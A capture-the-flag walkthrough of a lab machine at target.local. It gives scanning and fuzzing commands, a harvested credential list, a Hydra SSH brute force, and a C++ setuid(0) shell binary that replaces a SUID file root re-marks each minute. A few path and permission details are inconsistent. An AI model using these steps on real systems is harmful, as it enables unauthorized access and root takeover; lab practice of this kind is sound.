URL🔗
LevelMedium
Target domainhttp://target.local

Enumeration#

Initial Nmap Scan#

I started the enumeration process by running an initial Nmap scan on the target machine:

nmap -p- -oN nmap.txt target.local

The scan revealed open ports 80 (http) and 22 (ssh).

Website recce#

Exploring the website, I checked the robots.txt file:

curl http://target.local/robots.txt

It contained the entry /shehatesme.

Visiting the newfound path, I found a message and an image:

Screenshot 2024-01-03 at 13.20.53

Gobuster and File Download#

I used Gobuster to discover files in the /shehatesme directory:

gobuster fuzz -u http://target.local/shehatesme/FUZZ.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | grep -v "404" | awk -F/ '{print $NF}' > filelist.txt

Then, I downloaded all the files:

while read -r filename; do wget http://target.local/shehatesme/"$filename"; done < filelist.txt

I concatenated all files and deduped the resulting file:

cat * > all.txt
sort all.txt | uniq > all_uniq.txt

Ultimately, I replaced / with : in the file names:

sed -i "s/\//:/g" all_uniq.txt

After these steps, I had a list of potential SSH credentials:

hidden1/passZZ!
jaime11/JKiufg6
jhfbvgt/iugbnvh
john765/FDrhguy
maria11/jhfgyRf
mmnnbbv/iughtyr
nhvjguy/kjhgyut
smileys/98GHbjh
theuser/thepass
yuijhse/hjupnkk

💡 Why bother with replacing / w/:?

By doing so we can use them with Hydra directly:

hydra -C all_uniq.txt target.local ssh

Exploitation#

SSH Access#

Attempting to log in with the credentials theuser/thepass, I successfully gained access to SSH:

ssh theuser@target.local
theuser\'s password: # thepass


id

uid=1001(suidy) gid=1000(theuser) grupos=1000(theuser),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)


ls

user.txt


cat user.txt

<redacted>

Priv Esc#

ls /home

theuser suidy


cd /home/suidy
ls

note.txt suidyyyyy

I didn’t have permissions to cat note.txt. Out of curiosity, I executed the binary with ./suidyyyyy note.txt and suddenly had the suidy’s shell.

# suidy's shell
find / -perm -4000 2>/dev/null

/home/suidy/suidyyyyy
# ...

The suidyyyyy binary was SUID one (no shit, sherlock).

Now I could read that note.txt:

I love SUID files!
The best file is suidyyyyy because users can use it to feel as I feel.
root know it and run an script to be sure that my file has SUID.
If you are "theuser" I hate you!

-suidy

This led me to assumption that the root ran some script to ensure that the suidyyyyy binary was SUID. I still needed to verify that, though.

Looking up the Script#

I used pspy64 to spy the processes ran with root privileges:

2024/01/03 14:17:01 CMD: UID=0     PID=1592   | /bin/sh -c sh /root/timer.sh
2024/01/03 14:17:01 CMD: UID=0     PID=1593   | sh /root/timer.sh

It seemed the mentioned script was /root/timer.sh, given the UID=0.

I observed the script contents:

cat /root/timer.sh

It contained the command chmod +s /home/suidy/suidyyyyy, indicating that the SUID bit is set for the suidyyyyy binary each minute.

At this point, I had the idea of replacing /home/suidyyyyy with my very own script to exploit the periodic SUID setting.

ℹ️ Info

I was able to modify the binary, because it belonged to theuser group (in this case by overwriting it with another one built with gcc -o suidyyyyy). However, I couldn’t make a new one with the same permissions.

Without the root perm that was kept after compiling an exploit, the resulting binary I’d be left with theuser/theuser permissions.

I replaced the suidyyyyy binary with the one I built:

#include <iostream>
#include <unistd.h>

int main() {
    if (setuid(0) != 0 || setgid(0) != 0) {
        std::cerr << "Failed to set UID or GID to 0." << std::endl;
        return 1;
    }

    char *shell_args[] = {"/bin/bash", nullptr};
    execve("/bin/bash", shell_args, nullptr);

    std::cerr << "Failed to spawn shell." << std::endl;
    return 1;
}

After a minute I was able to run the binary with root privileges and spawned his shell:

# root's shell
cd /home/root
ls

root.txt timer.sh

Pwned?#

cat root.txt

<redacted>

You bet.